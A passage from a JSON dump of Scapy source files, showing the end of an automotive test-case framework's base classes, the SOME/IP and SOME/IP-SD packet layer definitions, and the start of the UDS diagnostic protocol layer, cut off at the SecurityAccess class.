pass\n\n    def execute(self, socket, state, **kwargs):\n        # type: (_SocketUnion, EcuState, Any) -> None\n        raise NotImplementedError()\n\n    def post_execute(self, socket, state, global_configuration):\n        # type: (_SocketUnion, EcuState, AutomotiveTestCaseExecutorConfiguration) -> None  # noqa: E501\n        pass\n\n    def _show_header(self, **kwargs):\n        # type: (Any) -> str\n        s = \"\\n\\n\" + \"=\" * (len(self._description) + 10) + \"\\n\"\n        s += \" \" * 5 + self._description + \"\\n\"\n        s += \"-\" * (len(self._description) + 10) + \"\\n\"\n\n        return s + \"\\n\"\n\n    def _show_state_information(self, **kwargs):\n        # type: (Any) -> str\n        completed = [(state, self._state_completed[state])\n                     for state in self.scanned_states]\n        return make_lined_table(\n            completed, lambda x, y: (\"Scan state completed\", x, y),\n            dump=True) or \"\"\n\n    def show(self, dump=False, filtered=True, verbose=False):\n        # type: (bool, bool, bool) -> Optional[str]\n\n        s = self._show_header()\n\n        if verbose:\n            s += self._show_state_information()\n\n        if dump:\n            return s + \"\\n\"\n        else:\n            print(s)\n            return None\n\n\nclass TestCaseGenerator(metaclass=abc.ABCMeta):\n    @abc.abstractmethod\n    def get_generated_test_case(self):\n        # type: () -> Optional[AutomotiveTestCaseABC]\n        raise NotImplementedError()\n\n\nclass StateGenerator(metaclass=abc.ABCMeta):\n\n    @abc.abstractmethod\n    def get_new_edge(self, socket, config):\n        # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration) -> Optional[_Edge]  # noqa: E501\n        raise NotImplementedError\n\n    @abc.abstractmethod\n    def get_transition_function(self, socket, edge):\n        # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple]\n        \"\"\"\n\n        :param socket: Socket to target\n        :param edge: Tuple of EcuState objects for the requested\n                     transition function\n        :return: Returns an optional tuple consisting of a transition function,\n                 a keyword arguments dictionary for the transition function\n                 and a cleanup function. Both functions\n                 take a Socket and the TestCaseExecutor configuration as\n                 arguments and return True if the execution was successful.\n                 The first function is the state enter function, the second\n                 function is a cleanup function\n        \"\"\"\n        raise NotImplementedError\n"
  },
  {
    "path": "scapy/contrib/automotive/someip.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Sebastian Baar <sebastian.baar@gmx.de>\n# Copyright (c) 2018 Jose Amores\n\n# scapy.contrib.description = Scalable service-Oriented MiddlewarE/IP (SOME/IP)\n# scapy.contrib.status = loads\n\nimport struct\n\nfrom scapy.layers.inet import TCP, UDP\nfrom scapy.layers.inet6 import IP6Field\nfrom scapy.compat import raw, orb\nfrom scapy.config import conf\nfrom scapy.packet import (Packet, Raw, bind_top_down, bind_bottom_up,\n                          bind_layers)\nfrom scapy.fields import (XShortField, ConditionalField,\n                          BitField, XBitField, XByteField, ByteEnumField,\n                          ShortField, X3BytesField, StrLenField, IPField,\n                          FieldLenField, PacketListField, XIntField,\n                          MultipleTypeField, FlagsField,\n                          XByteEnumField, BitScalingField, LenField)\n\n\nclass SOMEIP(Packet):\n    \"\"\" SOME/IP Packet.\"\"\"\n\n    PROTOCOL_VERSION = 0x01\n    INTERFACE_VERSION = 0x01\n    LEN_OFFSET = 0x08\n    LEN_OFFSET_TP = 0x0c\n    TYPE_REQUEST = 0x00\n    TYPE_REQUEST_NO_RET = 0x01\n    TYPE_NOTIFICATION = 0x02\n    TYPE_REQUEST_ACK = 0x40\n    TYPE_REQUEST_NORET_ACK = 0x41\n    TYPE_NOTIFICATION_ACK = 0x42\n    TYPE_RESPONSE = 0x80\n    TYPE_ERROR = 0x81\n    TYPE_RESPONSE_ACK = 0xc0\n    TYPE_ERROR_ACK = 0xc1\n    TYPE_TP_REQUEST = 0x20\n    TYPE_TP_REQUEST_NO_RET = 0x21\n    TYPE_TP_NOTIFICATION = 0x22\n    TYPE_TP_RESPONSE = 0xa0\n    TYPE_TP_ERROR = 0xa1\n    RET_E_OK = 0x00\n    RET_E_NOT_OK = 0x01\n    RET_E_UNKNOWN_SERVICE = 0x02\n    RET_E_UNKNOWN_METHOD = 0x03\n    RET_E_NOT_READY = 0x04\n    RET_E_NOT_REACHABLE = 0x05\n    RET_E_TIMEOUT = 0x06\n    RET_E_WRONG_PROTOCOL_V = 0x07\n    RET_E_WRONG_INTERFACE_V = 0x08\n    RET_E_MALFORMED_MSG = 0x09\n    RET_E_WRONG_MESSAGE_TYPE = 0x0a\n\n    _OVERALL_LEN_NOPAYLOAD = 16\n\n    name = \"SOME/IP\"\n\n    fields_desc = [\n        XShortField(\"srv_id\", 0),\n        MultipleTypeField(\n            [\n                (XShortField(\"sub_id\", 0),\n                 (lambda pkt: False,\n                  lambda pkt, val: val < 0x8000), \"method_id\"),\n                (XShortField(\"sub_id\", 0),\n                 (lambda pkt: False,\n                  lambda pkt, val: val >= 0x8000), \"event_id\"),\n            ],\n            XShortField(\"sub_id\", 0),\n        ),\n        LenField(\"len\", None, fmt=\">I\", adjust=lambda x: x + 8),\n        XShortField(\"client_id\", 0),\n        XShortField(\"session_id\", 0),\n        XByteField(\"proto_ver\", PROTOCOL_VERSION),\n        XByteField(\"iface_ver\", INTERFACE_VERSION),\n        ByteEnumField(\"msg_type\", TYPE_REQUEST, {\n            TYPE_REQUEST: \"REQUEST\",\n            TYPE_REQUEST_NO_RET: \"REQUEST_NO_RETURN\",\n            TYPE_NOTIFICATION: \"NOTIFICATION\",\n            TYPE_REQUEST_ACK: \"REQUEST_ACK\",\n            TYPE_REQUEST_NORET_ACK: \"REQUEST_NO_RETURN_ACK\",\n            TYPE_NOTIFICATION_ACK: \"NOTIFICATION_ACK\",\n            TYPE_RESPONSE: \"RESPONSE\",\n            TYPE_ERROR: \"ERROR\",\n            TYPE_RESPONSE_ACK: \"RESPONSE_ACK\",\n            TYPE_ERROR_ACK: \"ERROR_ACK\",\n            TYPE_TP_REQUEST: \"TP_REQUEST\",\n            TYPE_TP_REQUEST_NO_RET: \"TP_REQUEST_NO_RETURN\",\n            TYPE_TP_NOTIFICATION: \"TP_NOTIFICATION\",\n            TYPE_TP_RESPONSE: \"TP_RESPONSE\",\n            TYPE_TP_ERROR: \"TP_ERROR\",\n        }),\n        ByteEnumField(\"retcode\", 0, {\n            RET_E_OK: \"E_OK\",\n            RET_E_NOT_OK: \"E_NOT_OK\",\n            RET_E_UNKNOWN_SERVICE: \"E_UNKNOWN_SERVICE\",\n            RET_E_UNKNOWN_METHOD: \"E_UNKNOWN_METHOD\",\n            RET_E_NOT_READY: \"E_NOT_READY\",\n            RET_E_NOT_REACHABLE: \"E_NOT_REACHABLE\",\n            RET_E_TIMEOUT: \"E_TIMEOUT\",\n            RET_E_WRONG_PROTOCOL_V: \"E_WRONG_PROTOCOL_VERSION\",\n            RET_E_WRONG_INTERFACE_V: \"E_WRONG_INTERFACE_VERSION\",\n            RET_E_MALFORMED_MSG: \"E_MALFORMED_MESSAGE\",\n            RET_E_WRONG_MESSAGE_TYPE: \"E_WRONG_MESSAGE_TYPE\",\n        }),\n        ConditionalField(\n            BitScalingField(\"offset\", 0, 28, scaling=16, unit=\"bytes\"),\n            lambda pkt: SOMEIP._is_tp(pkt)),  # noqa: E501\n        ConditionalField(\n            BitField(\"res\", 0, 3),\n            lambda pkt: SOMEIP._is_tp(pkt)),  # noqa: E501\n        ConditionalField(\n            BitField(\"more_seg\", 0, 1),\n            lambda pkt: SOMEIP._is_tp(pkt)),  # noqa: E501\n        PacketListField(\n            \"data\", [Raw()], Raw,\n            length_from=lambda pkt: pkt.len - (SOMEIP.LEN_OFFSET_TP if (SOMEIP._is_tp(pkt) and (pkt.len is None or pkt.len >= SOMEIP.LEN_OFFSET_TP)) else SOMEIP.LEN_OFFSET),  # noqa: E501\n            next_cls_cb=lambda pkt, lst, cur, remain: SOMEIP.get_payload_cls_by_srv_id(pkt, lst, cur, remain))  # noqa: E501\n    ]\n\n    payload_cls_by_srv_id = dict()  # To be customized\n\n    @staticmethod\n    def get_payload_cls_by_srv_id(pkt, lst, cur, remain):\n        return SOMEIP.payload_cls_by_srv_id.get(pkt.srv_id, Raw)\n\n    def post_build(self, pkt, pay):\n        length = self.len\n        if length is None:\n            if SOMEIP._is_tp(self):\n                length = SOMEIP.LEN_OFFSET_TP + len(pay)\n            else:\n                length = SOMEIP.LEN_OFFSET + len(pay)\n\n            pkt = pkt[:4] + struct.pack(\"!I\", length) + pkt[8:]\n        return pkt + pay\n\n    def answers(self, other):\n        if isinstance(other, type(self)):\n            if self.msg_type in [SOMEIP.TYPE_REQUEST_NO_RET,\n                                 SOMEIP.TYPE_REQUEST_NORET_ACK,\n                                 SOMEIP.TYPE_NOTIFICATION,\n                                 SOMEIP.TYPE_TP_REQUEST_NO_RET,\n                                 SOMEIP.TYPE_TP_NOTIFICATION]:\n                return 0\n            return self.payload.answers(other.payload)\n        return 0\n\n    @staticmethod\n    def _is_tp(pkt):\n        \"\"\"Returns true if pkt is using SOMEIP-TP, else returns false.\"\"\"\n        if isinstance(pkt, Packet):\n            return pkt.msg_type & 0x20\n        else:\n            return pkt[15] & 0x20\n\n    @staticmethod\n    def _is_sd(pkt):\n        \"\"\"Returns true if pkt is using SOMEIP-SD, else returns false.\"\"\"\n        if isinstance(pkt, Packet):\n            return pkt.srv_id == 0xffff and pkt.sub_id == 0x8100\n        else:\n            return pkt[:4] == b\"\\xff\\xff\\x81\\x00\"\n\n    def fragment(self, fragsize=1392):\n        \"\"\"Fragment SOME/IP-TP\"\"\"\n        fnb = 0\n        fl = self\n        lst = list()\n        while fl.underlayer is not None:\n            fnb += 1\n            fl = fl.underlayer\n\n        has_payload = len(self.data) == 0 or sum(len(p) for p in self.data) == 0\n\n        for p in fl:\n            if has_payload:\n                s = raw(p[fnb].payload)\n            else:\n                s = raw(p[fnb].data[0])\n            nb = (len(s) + fragsize) // fragsize\n            for i in range(nb):\n                q = p.copy()\n                if has_payload:\n                    del q[fnb].payload\n                else:\n                    del q[fnb].data[0]\n                q[fnb].len = SOMEIP.LEN_OFFSET_TP + \\\n                    len(s[i * fragsize:(i + 1) * fragsize])\n                q[fnb].more_seg = 1\n                if i == nb - 1:\n                    q[fnb].more_seg = 0\n                q[fnb].offset += i * fragsize\n                r = conf.raw_layer(load=s[i * fragsize:(i + 1) * fragsize])\n                if has_payload:\n                    r.overload_fields = p[fnb].payload.overload_fields.copy()\n                else:\n                    r.overload_fields = p[fnb].data[0].overload_fields.copy()\n                if has_payload:\n                    q.add_payload(r)\n                else:\n                    q.data.append(r)\n                lst.append(q)\n\n        return lst\n\n\ndef _bind_someip_layers():\n    bind_top_down(UDP, SOMEIP, sport=30490, dport=30490)\n\n    for i in range(15):\n        bind_bottom_up(UDP, SOMEIP, sport=30490 + i)\n        bind_bottom_up(TCP, SOMEIP, sport=30490 + i)\n        bind_bottom_up(UDP, SOMEIP, dport=30490 + i)\n        bind_bottom_up(TCP, SOMEIP, dport=30490 + i)\n\n\n_bind_someip_layers()\nbind_layers(SOMEIP, SOMEIP)\n\n\nclass _SDPacketBase(Packet):\n    \"\"\" base class to be used among all SD Packet definitions.\"\"\"\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nSDENTRY_TYPE_SRV_FINDSERVICE = 0x00\nSDENTRY_TYPE_SRV_OFFERSERVICE = 0x01\nSDENTRY_TYPE_SRV = (SDENTRY_TYPE_SRV_FINDSERVICE,\n                    SDENTRY_TYPE_SRV_OFFERSERVICE)\nSDENTRY_TYPE_EVTGRP_SUBSCRIBE = 0x06\nSDENTRY_TYPE_EVTGRP_SUBSCRIBE_ACK = 0x07\nSDENTRY_TYPE_EVTGRP = (SDENTRY_TYPE_EVTGRP_SUBSCRIBE,\n                       SDENTRY_TYPE_EVTGRP_SUBSCRIBE_ACK)\nSDENTRY_OVERALL_LEN = 16\n\n\ndef _MAKE_SDENTRY_COMMON_FIELDS_DESC(type):\n    return [\n        XByteEnumField(\"type\", type, {\n            0: \"FindService\",\n            1: \"OfferService\",\n            6: \"SubscribeEventgroup\",\n            7: \"SubscribeEventgroupACK\"}),\n        XByteField(\"index_1\", 0),\n        XByteField(\"index_2\", 0),\n        XBitField(\"n_opt_1\", 0, 4),\n        XBitField(\"n_opt_2\", 0, 4),\n        XShortField(\"srv_id\", 0),\n        XShortField(\"inst_id\", 0),\n        XByteField(\"major_ver\", 0),\n        X3BytesField(\"ttl\", 0)\n    ]\n\n\nclass SDEntry_Service(_SDPacketBase):\n    name = \"Service Entry\"\n    fields_desc = _MAKE_SDENTRY_COMMON_FIELDS_DESC(\n        SDENTRY_TYPE_SRV_FINDSERVICE)\n    fields_desc += [\n        XIntField(\"minor_ver\", 0)\n    ]\n\n\nclass SDEntry_EventGroup(_SDPacketBase):\n    name = \"Eventgroup Entry\"\n    fields_desc = _MAKE_SDENTRY_COMMON_FIELDS_DESC(\n        SDENTRY_TYPE_EVTGRP_SUBSCRIBE)\n    fields_desc += [\n        XBitField(\"res\", 0, 12),\n        XBitField(\"cnt\", 0, 4),\n        XShortField(\"eventgroup_id\", 0)\n    ]\n\n\ndef _sdentry_class(payload, **kargs):\n    TYPE_PAYLOAD_I = 0\n    pl_type = orb(payload[TYPE_PAYLOAD_I])\n    cls = None\n\n    if pl_type in SDENTRY_TYPE_SRV:\n        cls = SDEntry_Service\n    elif pl_type in SDENTRY_TYPE_EVTGRP:\n        cls = SDEntry_EventGroup\n\n    return cls(payload, **kargs)\n\n\ndef _sdoption_class(payload, **kargs):\n    pl_type = orb(payload[2])\n\n    cls = {\n        SDOPTION_CFG_TYPE: SDOption_Config,\n        SDOPTION_LOADBALANCE_TYPE: SDOption_LoadBalance,\n        SDOPTION_IP4_ENDPOINT_TYPE: SDOption_IP4_EndPoint,\n        SDOPTION_IP4_MCAST_TYPE: SDOption_IP4_Multicast,\n        SDOPTION_IP4_SDENDPOINT_TYPE: SDOption_IP4_SD_EndPoint,\n        SDOPTION_IP6_ENDPOINT_TYPE: SDOption_IP6_EndPoint,\n        SDOPTION_IP6_MCAST_TYPE: SDOption_IP6_Multicast,\n        SDOPTION_IP6_SDENDPOINT_TYPE: SDOption_IP6_SD_EndPoint\n    }.get(pl_type, Raw)\n\n    return cls(payload, **kargs)\n\n\n# SD Option\nSDOPTION_CFG_TYPE = 0x01\nSDOPTION_LOADBALANCE_TYPE = 0x02\nSDOPTION_LOADBALANCE_LEN = 0x05\nSDOPTION_IP4_ENDPOINT_TYPE = 0x04\nSDOPTION_IP4_ENDPOINT_LEN = 0x0009\nSDOPTION_IP4_MCAST_TYPE = 0x14\nSDOPTION_IP4_MCAST_LEN = 0x0009\nSDOPTION_IP4_SDENDPOINT_TYPE = 0x24\nSDOPTION_IP4_SDENDPOINT_LEN = 0x0009\nSDOPTION_IP6_ENDPOINT_TYPE = 0x06\nSDOPTION_IP6_ENDPOINT_LEN = 0x0015\nSDOPTION_IP6_MCAST_TYPE = 0x16\nSDOPTION_IP6_MCAST_LEN = 0x0015\nSDOPTION_IP6_SDENDPOINT_TYPE = 0x26\nSDOPTION_IP6_SDENDPOINT_LEN = 0x0015\n\n\ndef _MAKE_COMMON_SDOPTION_FIELDS_DESC(type, length=None):\n    return [\n        ShortField(\"len\", length),\n        XByteEnumField(\"type\", type, {\n            SDOPTION_CFG_TYPE: \"Configuration\",\n            SDOPTION_LOADBALANCE_TYPE: \"LoadBalancing\",\n            SDOPTION_IP4_ENDPOINT_TYPE: \"IPv4Endpoint\",\n            SDOPTION_IP4_MCAST_TYPE: \"IPv4MultiCast\",\n            SDOPTION_IP4_SDENDPOINT_TYPE: \"IPv4SDEndpoint\",\n            SDOPTION_IP6_ENDPOINT_TYPE: \"IPv6Endpoint\",\n            SDOPTION_IP6_MCAST_TYPE: \"IPv6MultiCast\",\n            SDOPTION_IP6_SDENDPOINT_TYPE: \"IPv6SDEndpoint\"}),\n        XByteField(\"res_hdr\", 0)\n    ]\n\n\ndef _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC():\n    return [\n        XByteField(\"res_tail\", 0),\n        ByteEnumField(\"l4_proto\", 0x11, {0x06: \"TCP\", 0x11: \"UDP\"}),\n        ShortField(\"port\", 0)\n    ]\n\n\nclass SDOption_Config(_SDPacketBase):\n    name = \"Config Option\"\n    fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC(SDOPTION_CFG_TYPE) + [\n        StrLenField(\"cfg_str\", b\"\\x00\", length_from=lambda pkt: pkt.len - 1)\n    ]\n\n    def post_build(self, pkt, pay):\n        if self.len is None:\n            length = len(self.cfg_str) + 1  # res_hdr field takes 1 byte\n            pkt = struct.pack(\"!H\", length) + pkt[2:]\n        return pkt + pay\n\n    @staticmethod\n    def make_string(data):\n        # Build a valid null-terminated configuration string from a dict or a\n        # list with key-value pairs.\n        #\n        # Example:\n        #    >>> SDOption_Config.make_string({ \"hello\": \"world\" })\n        #    b'\\x0bhello=world\\x00'\n        #\n        #    >>> SDOption_Config.make_string([\n        #    ...     (\"x\", \"y\"),\n        #    ...     (\"abc\", \"def\"),\n        #    ...     (\"123\", \"456\")\n        #    ... ])\n        #    b'\\x03x=y\\x07abc=def\\x07123=456\\x00'\n\n        if isinstance(data, dict):\n            data = data.items()\n\n        # combine entries\n        data = (\"{}={}\".format(k, v) for k, v in data)\n        # prepend length\n        data = (\"{}{}\".format(chr(len(v)), v) for v in data)\n        # concatenate\n        data = \"\".join(data)\n        data += \"\\x00\"\n\n        return data.encode(\"utf8\")\n\n\nclass SDOption_LoadBalance(_SDPacketBase):\n    name = \"LoadBalance Option\"\n    fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC(\n        SDOPTION_LOADBALANCE_TYPE, SDOPTION_LOADBALANCE_LEN)\n    fields_desc += [\n        ShortField(\"priority\", 0),\n        ShortField(\"weight\", 0)\n    ]\n\n\nclass SDOption_IP4_EndPoint(_SDPacketBase):\n    name = \"IP4 EndPoint Option\"\n    fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC(\n        SDOPTION_IP4_ENDPOINT_TYPE, SDOPTION_IP4_ENDPOINT_LEN)\n    fields_desc += [\n        IPField(\"addr\", \"0.0.0.0\"),\n    ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC()\n\n\nclass SDOption_IP4_Multicast(_SDPacketBase):\n    name = \"IP4 Multicast Option\"\n    fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC(\n        SDOPTION_IP4_MCAST_TYPE, SDOPTION_IP4_MCAST_LEN)\n    fields_desc += [\n        IPField(\"addr\", \"0.0.0.0\"),\n    ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC()\n\n\nclass SDOption_IP4_SD_EndPoint(_SDPacketBase):\n    name = \"IP4 SDEndPoint Option\"\n    fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC(\n        SDOPTION_IP4_SDENDPOINT_TYPE, SDOPTION_IP4_SDENDPOINT_LEN)\n    fields_desc += [\n        IPField(\"addr\", \"0.0.0.0\"),\n    ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC()\n\n\nclass SDOption_IP6_EndPoint(_SDPacketBase):\n    name = \"IP6 EndPoint Option\"\n    fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC(\n        SDOPTION_IP6_ENDPOINT_TYPE, SDOPTION_IP6_ENDPOINT_LEN)\n    fields_desc += [\n        IP6Field(\"addr\", \"::\"),\n    ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC()\n\n\nclass SDOption_IP6_Multicast(_SDPacketBase):\n    name = \"IP6 Multicast Option\"\n    fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC(\n        SDOPTION_IP6_MCAST_TYPE, SDOPTION_IP6_MCAST_LEN)\n    fields_desc += [\n        IP6Field(\"addr\", \"::\"),\n    ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC()\n\n\nclass SDOption_IP6_SD_EndPoint(_SDPacketBase):\n    name = \"IP6 SDEndPoint Option\"\n    fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC(\n        SDOPTION_IP6_SDENDPOINT_TYPE, SDOPTION_IP6_SDENDPOINT_LEN)\n    fields_desc += [\n        IP6Field(\"addr\", \"::\"),\n    ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC()\n\n\n##\n# SD PACKAGE DEFINITION\n##\nclass SD(_SDPacketBase):\n    \"\"\"\n    SD Packet\n\n    NOTE :   when adding 'entries' or 'options', do not use list.append()\n        method but create a new list\n    e.g. :  p = SD()\n            p.option_array = [SDOption_Config(),SDOption_IP6_EndPoint()]\n    \"\"\"\n    SOMEIP_MSGID_SRVID = 0xffff\n    SOMEIP_MSGID_SUBID = 0x8100\n    SOMEIP_CLIENT_ID = 0x0000\n    SOMEIP_MINIMUM_SESSION_ID = 0x0001\n    SOMEIP_PROTO_VER = 0x01\n    SOMEIP_IFACE_VER = 0x01\n    SOMEIP_MSG_TYPE = SOMEIP.TYPE_NOTIFICATION\n    SOMEIP_RETCODE = SOMEIP.RET_E_OK\n\n    name = \"SD\"\n    fields_desc = [\n        FlagsField(\"flags\", 0, 8, [\n            \"res0\", \"res1\", \"res2\", \"res3\", \"res4\",\n            \"EXPLICIT_INITIAL_DATA_CONTROL\", \"UNICAST\", \"REBOOT\"]),\n        X3BytesField(\"res\", 0),\n        FieldLenField(\"len_entry_array\", None,\n                      length_of=\"entry_array\", fmt=\"!I\"),\n        PacketListField(\"entry_array\", None, _sdentry_class,\n                        length_from=lambda pkt: pkt.len_entry_array),\n        FieldLenField(\"len_option_array\", None,\n                      length_of=\"option_array\", fmt=\"!I\"),\n        PacketListField(\"option_array\", None, _sdoption_class,\n                        length_from=lambda pkt: pkt.len_option_array)\n    ]\n\n    def set_entryArray(self, entry_list):\n        if isinstance(entry_list, list):\n            self.entry_array = entry_list\n        else:\n            self.entry_array = [entry_list]\n\n    def set_optionArray(self, option_list):\n        if isinstance(option_list, list):\n            self.option_array = option_list\n        else:\n            self.option_array = [option_list]\n\n\nbind_top_down(SOMEIP, SD,\n              srv_id=SD.SOMEIP_MSGID_SRVID,\n              sub_id=SD.SOMEIP_MSGID_SUBID,\n              client_id=SD.SOMEIP_CLIENT_ID,\n              session_id=SD.SOMEIP_MINIMUM_SESSION_ID,\n              proto_ver=SD.SOMEIP_PROTO_VER,\n              iface_ver=SD.SOMEIP_IFACE_VER,\n              msg_type=SD.SOMEIP_MSG_TYPE,\n              retcode=SD.SOMEIP_RETCODE)\n\nbind_bottom_up(SOMEIP, SD,\n               srv_id=SD.SOMEIP_MSGID_SRVID,\n               sub_id=SD.SOMEIP_MSGID_SUBID,\n               proto_ver=SD.SOMEIP_PROTO_VER,\n               iface_ver=SD.SOMEIP_IFACE_VER,\n               msg_type=SD.SOMEIP_MSG_TYPE,\n               retcode=SD.SOMEIP_RETCODE)\n\n# FIXME: Service Discovery messages shall be transported over UDP\n#        (TR_SOMEIP_00248)\n# FIXME: The port 30490 (UDP and TCP as well) shall be only used for SOME/IP-SD\n#        and not used for applications communicating over SOME/IP\n#        (TR_SOMEIP_00020)\n"
  },
  {
    "path": "scapy/contrib/automotive/uds.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = Unified Diagnostic Service (UDS)\n# scapy.contrib.status = loads\n\n\"\"\"\nUDS\n\"\"\"\n\nimport struct\nfrom collections import defaultdict\n\nfrom scapy.fields import ByteEnumField, StrField, ConditionalField, \\\n    BitEnumField, BitField, XByteField, FieldListField, \\\n    XShortField, X3BytesField, XIntField, ByteField, \\\n    ShortField, ObservableDict, XShortEnumField, XByteEnumField, StrLenField, \\\n    FieldLenField, XStrFixedLenField, XStrLenField, FlagsField, PacketListField, \\\n    PacketField\nfrom scapy.packet import Packet, bind_layers, NoPayload, Raw\nfrom scapy.config import conf\nfrom scapy.utils import PeriodicSenderThread\nfrom scapy.contrib.isotp import ISOTP\n\n# Typing imports\nfrom typing import (\n    Dict,\n    Union,\n)\n\ntry:\n    if conf.contribs['UDS']['treat-response-pending-as-answer']:\n        pass\nexcept KeyError:\n    # log_loading.info(\"Specify \\\"conf.contribs['UDS'] = \"\n    #                 \"{'treat-response-pending-as-answer': True}\\\" to treat \"\n    #                 \"a negative response 'requestCorrectlyReceived-\"\n    #                 \"ResponsePending' as answer of a request. \\n\"\n    #                 \"The default value is False.\")\n    conf.contribs['UDS'] = {'treat-response-pending-as-answer': False}\n\nconf.debug_dissector = True\n\n\nclass UDS(ISOTP):\n    services = ObservableDict(\n        {0x10: 'DiagnosticSessionControl',\n         0x11: 'ECUReset',\n         0x14: 'ClearDiagnosticInformation',\n         0x19: 'ReadDTCInformation',\n         0x22: 'ReadDataByIdentifier',\n         0x23: 'ReadMemoryByAddress',\n         0x24: 'ReadScalingDataByIdentifier',\n         0x27: 'SecurityAccess',\n         0x28: 'CommunicationControl',\n         0x29: 'Authentication',\n         0x2A: 'ReadDataPeriodicIdentifier',\n         0x2C: 'DynamicallyDefineDataIdentifier',\n         0x2E: 'WriteDataByIdentifier',\n         0x2F: 'InputOutputControlByIdentifier',\n         0x31: 'RoutineControl',\n         0x34: 'RequestDownload',\n         0x35: 'RequestUpload',\n         0x36: 'TransferData',\n         0x37: 'RequestTransferExit',\n         0x38: 'RequestFileTransfer',\n         0x3D: 'WriteMemoryByAddress',\n         0x3E: 'TesterPresent',\n         0x50: 'DiagnosticSessionControlPositiveResponse',\n         0x51: 'ECUResetPositiveResponse',\n         0x54: 'ClearDiagnosticInformationPositiveResponse',\n         0x59: 'ReadDTCInformationPositiveResponse',\n         0x62: 'ReadDataByIdentifierPositiveResponse',\n         0x63: 'ReadMemoryByAddressPositiveResponse',\n         0x64: 'ReadScalingDataByIdentifierPositiveResponse',\n         0x67: 'SecurityAccessPositiveResponse',\n         0x68: 'CommunicationControlPositiveResponse',\n         0x69: 'AuthenticationPositiveResponse',\n         0x6A: 'ReadDataPeriodicIdentifierPositiveResponse',\n         0x6C: 'DynamicallyDefineDataIdentifierPositiveResponse',\n         0x6E: 'WriteDataByIdentifierPositiveResponse',\n         0x6F: 'InputOutputControlByIdentifierPositiveResponse',\n         0x71: 'RoutineControlPositiveResponse',\n         0x74: 'RequestDownloadPositiveResponse',\n         0x75: 'RequestUploadPositiveResponse',\n         0x76: 'TransferDataPositiveResponse',\n         0x77: 'RequestTransferExitPositiveResponse',\n         0x78: 'RequestFileTransferPositiveResponse',\n         0x7D: 'WriteMemoryByAddressPositiveResponse',\n         0x7E: 'TesterPresentPositiveResponse',\n         0x83: 'AccessTimingParameter',\n         0x84: 'SecuredDataTransmission',\n         0x85: 'ControlDTCSetting',\n         0x86: 'ResponseOnEvent',\n         0x87: 'LinkControl',\n         0xC3: 'AccessTimingParameterPositiveResponse',\n         0xC4: 'SecuredDataTransmissionPositiveResponse',\n         0xC5: 'ControlDTCSettingPositiveResponse',\n         0xC6: 'ResponseOnEventPositiveResponse',\n         0xC7: 'LinkControlPositiveResponse',\n         0x7f: 'NegativeResponse'})  # type: Dict[int, str]\n    name = 'UDS'\n    fields_desc = [\n        XByteEnumField('service', 0, services)\n    ]\n\n    def answers(self, other):\n        # type: (Union[UDS, Packet]) -> bool\n        if other.__class__ != self.__class__:\n            return False\n        if self.service == 0x7f:\n            return self.payload.answers(other)\n        if self.service == (other.service + 0x40):\n            if isinstance(self.payload, NoPayload) or \\\n                    isinstance(other.payload, NoPayload):\n                return len(self) <= len(other)\n            else:\n                return self.payload.answers(other.payload)\n        return False\n\n    def hashret(self):\n        # type: () -> bytes\n        if self.service == 0x7f and len(self) >= 3:\n            return struct.pack('B', bytes(self)[1] & ~0x40)\n        return struct.pack('B', self.service & ~0x40)\n\n\n# ########################DSC###################################\nclass UDS_DSC(Packet):\n    diagnosticSessionTypes = ObservableDict({\n        0x00: 'ISOSAEReserved',\n        0x01: 'defaultSession',\n        0x02: 'programmingSession',\n        0x03: 'extendedDiagnosticSession',\n        0x04: 'safetySystemDiagnosticSession',\n        0x7F: 'ISOSAEReserved'})\n    name = 'DiagnosticSessionControl'\n    fields_desc = [\n        ByteEnumField('diagnosticSessionType', 0, diagnosticSessionTypes)\n    ]\n\n\nbind_layers(UDS, UDS_DSC, service=0x10)\n\n\nclass UDS_DSCPR(Packet):\n    name = 'DiagnosticSessionControlPositiveResponse'\n    fields_desc = [\n        ByteEnumField('diagnosticSessionType', 0,\n                      UDS_DSC.diagnosticSessionTypes),\n        StrField('sessionParameterRecord', b\"\")\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_DSC) and \\\n            other.diagnosticSessionType == self.diagnosticSessionType\n\n\nbind_layers(UDS, UDS_DSCPR, service=0x50)\n\n\n# #########################ER###################################\nclass UDS_ER(Packet):\n    resetTypes = {\n        0x00: 'ISOSAEReserved',\n        0x01: 'hardReset',\n        0x02: 'keyOffOnReset',\n        0x03: 'softReset',\n        0x04: 'enableRapidPowerShutDown',\n        0x05: 'disableRapidPowerShutDown',\n        0x41: 'powerDown',\n        0x7F: 'ISOSAEReserved'}\n    name = 'ECUReset'\n    fields_desc = [\n        ByteEnumField('resetType', 0, resetTypes)\n    ]\n\n\nbind_layers(UDS, UDS_ER, service=0x11)\n\n\nclass UDS_ERPR(Packet):\n    name = 'ECUResetPositiveResponse'\n    fields_desc = [\n        ByteEnumField('resetType', 0, UDS_ER.resetTypes),\n        ConditionalField(ByteField('powerDownTime', 0),\n                         lambda pkt: pkt.resetType == 0x04)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_ER) and other.resetType == self.resetType\n\n\nbind_layers(UDS, UDS_ERPR, service=0x51)\n\n\n# #########################SA###################################\nclass UDS_SA(Packet):\n    name = 'SecurityAccess'\n  